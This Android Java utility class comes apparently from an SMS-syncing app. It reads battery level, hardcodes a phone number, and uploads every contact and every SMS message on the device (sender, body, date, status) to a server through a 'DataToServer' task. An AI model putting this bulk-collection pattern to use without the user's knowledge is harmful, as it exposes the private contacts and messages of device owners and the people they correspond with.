package com.woogiemobile.util;

import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.Cursor;
import android.net.Uri;
import android.os.BatteryManager;
import android.provider.ContactsContract;

import com.woogiemobile.MainService;
import com.woogiemobile.async.DataToServer;
import com.woogiemobile.pojo.Contact;
import com.woogiemobile.pojo.Message;

public class Util {
	
	public static String getPhoneNumber() {
		return "+15149670418";
	}
	
	public static float getBatteryLevel() {
	    Intent batteryIntent = MainService.service.registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
	    int level = batteryIntent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
	    int scale = batteryIntent.getIntExtra(BatteryManager.EXTRA_SCALE, -1);

	    // Error checking that probably isn't needed but I added just in case.
	    if(level == -1 || scale == -1) {
	        return 50.0f;
	    }

	    return ((float)level / (float)scale) * 100.0f; 
	}
	
	public static void uploadContactsAndMessages(Context c){
		socketAllContacts(c);
		socketAllMessages(c);
	}
	
	public static String getContactId(String number){
		if (number == null)
			return null;
		String id = number.replace("(", "");
		id = id.replace(")", "");
		id = id.replace(" ", "");
		id = id.replace("-", "");
		id = id.replace("+", "");
		if(number.charAt(0) == '1')
			id = id.substring(1);
		return id;
	}
	
	private static void socketAllContacts(Context context){
		ContentResolver cr = context.getContentResolver();
        Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,
                null, null, null, null);
        if (cur.getCount() > 0) {
            while (cur.moveToNext()) {
                  String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
                  String name = cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
                  if (Integer.parseInt(cur.getString(
                        cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
                     Cursor pCur = cr.query(
                               ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                               null,
                               ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = ?",
                               new String[]{id}, null);
                     while (pCur.moveToNext()) {
                         String phoneNo = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                         new DataToServer(new Contact(name, phoneNo, getContactId(phoneNo)).toString(), false).execute();
                     }
                    pCur.close();
                }
            }
        }
	}
	
	private static void socketAllMessages(Context context) {
	    Uri uriSms = Uri.parse("content://sms");

	    Cursor cursor = context.getContentResolver()
	            .query(uriSms,
	                    new String[] { "_id", "address", "date", "body",
	                            "type", "read" }, null, null,
	                    "date" + " COLLATE LOCALIZED ASC");
	    if (cursor != null) {
	        cursor.moveToLast();
	        if (cursor.getCount() > 0) {

	            do {

	                String number = cursor.getString(cursor
	                        .getColumnIndex("address"));
	                String text = cursor.getString(cursor
	                        .getColumnIndex("body"));
	                long date = cursor.getLong(cursor
	                        .getColumnIndex("date"));
	                String status = cursor.getString(cursor.getColumnIndexOrThrow("read"));
	                int type = Integer.parseInt(cursor.getString(cursor.getColumnIndex("type")));
	                
	                Message message = new Message(replace(text.trim(), "\'", "").replaceAll(System.getProperty("line.separator"), " "), date, number, status, type, getContactId(number), true);
	                new DataToServer(message.toString(), false).execute();
	                
	            } while (cursor.moveToPrevious());
	        }
	    }

	}
	
	private static String replace(String s, String t, String p){
		return s.replace(t, p);
	}
	
}
